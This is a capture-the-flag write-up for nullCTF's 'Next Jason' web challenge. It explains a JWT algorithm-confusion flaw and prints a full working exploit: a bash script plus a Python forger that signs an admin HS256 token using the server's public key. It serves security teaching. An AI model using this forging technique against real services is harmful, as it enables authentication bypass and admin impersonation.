Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebEasy

Next Jason Web

CTF writeup for Next Jason Web from nullCTF

//Walkthrough - Next Jason

I have successfully solved the "Next Jason" challenge and retrieved the flag.

Flag: nullctf{f0rg3_7h15_cv3_h3h_ff6cbb95be95eaa2}

>Exploitation Summary

The application contained a JWT Algorithm Confusion vulnerability.

  • The /token/verify endpoint allowed both RS256 (Asymmetric) and HS256 (Symmetric) algorithms.
  • The verification used the Public Key (PUBKEY) as the secret/key.
  • By forging a token signed with HS256 using the Public Key as the HMAC secret, I could impersonate the admin user.

>Steps to Reproduce

  1. Get User Token: Authenticate as a regular user via /token/sign (unprotected) to get a valid token.
  2. Get Public Key: Use the valid user token to bypass auth middleware and request /api/getPublicKey.
  3. Forge Admin Token:
    • Construct a JWT with header {"alg": "HS256", "typ": "JWT"}.
    • Payload: {"username": "admin", "iat": <current_time>}.
    • Sign it using HMAC-SHA256 with the Public Key string as the secret.
    • Crucial Detail: The key must be used exactly as returned by the server, without extra newlines.
  4. Get Flag: Send a request to /api/getFlag with the forged admin token.

>Exploit Script

I created a 

solve.sh script that automates this entire process, using a helper 

forge.py script for the manual JWT signing (to bypass client-side library safety checks).

solve.sh

sh
#!/bin/bash

BASE_URL=$1

echo "[*] Targeting: $BASE_URL"

# 1. Get User Token

USER_TOKEN_JSON=$(curl -s -X POST -H "Content-Type: application/json" -d '{"username":"user"}' "$BASE_URL/token/sign")

USER_TOKEN=$(echo $USER_TOKEN_JSON | grep -oP '"token":"\K[^"]+')

echo "[+] Got User Token: ${USER_TOKEN:0:20}..."

# 2. Get Public Key (Use sys.stdout.write to avoid adding newlines!)

PUBKEY_JSON=$(curl -s --cookie "token=$USER_TOKEN" "$BASE_URL/api/getPublicKey")

python3 -c "import sys, json; sys.stdout.write(json.loads(sys.argv[1])['PUBKEY'])" "$PUBKEY_JSON" > key.pem

echo "[+] Got Public Key (saved to key.pem)"

# 3. Forge Admin Token

ADMIN_TOKEN=$(python3 forge.py key.pem)

echo "[+] Forged Token: ${ADMIN_TOKEN:0:20}..."

# 4. Get Flag

curl -s --cookie "token=$ADMIN_TOKEN" "$BASE_URL/api/getFlag"

forge.py

python
import sys, hmac, hashlib, base64, time, json

def base64url_encode(data):

    if isinstance(data, str): data = data.encode('utf-8')

    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

def forge_token(public_key_pem):

    header = {"alg": "HS256", "typ": "JWT"}

    payload = {"username": "admin", "iat": int(time.time())}

    header_enc = base64url_encode(json.dumps(header, separators=(',', ':')))

    payload_enc = base64url_encode(json.dumps(payload, separators=(',', ':')))

    # Sign with HS256 using Public Key as secret

    secret = public_key_pem.encode('utf-8')

    msg = f"{header_enc}.{payload_enc}".encode('utf-8')

    signature = hmac.new(secret, msg, hashlib.sha256).digest()

    return f"{header_enc}.{payload_enc}.{base64url_encode(signature)}"

if __name__ == '__main__':

    with open(sys.argv[1], 'r') as f:

        print(forge_token(f.read()))
        

![[Pasted image 20251206004005.png]]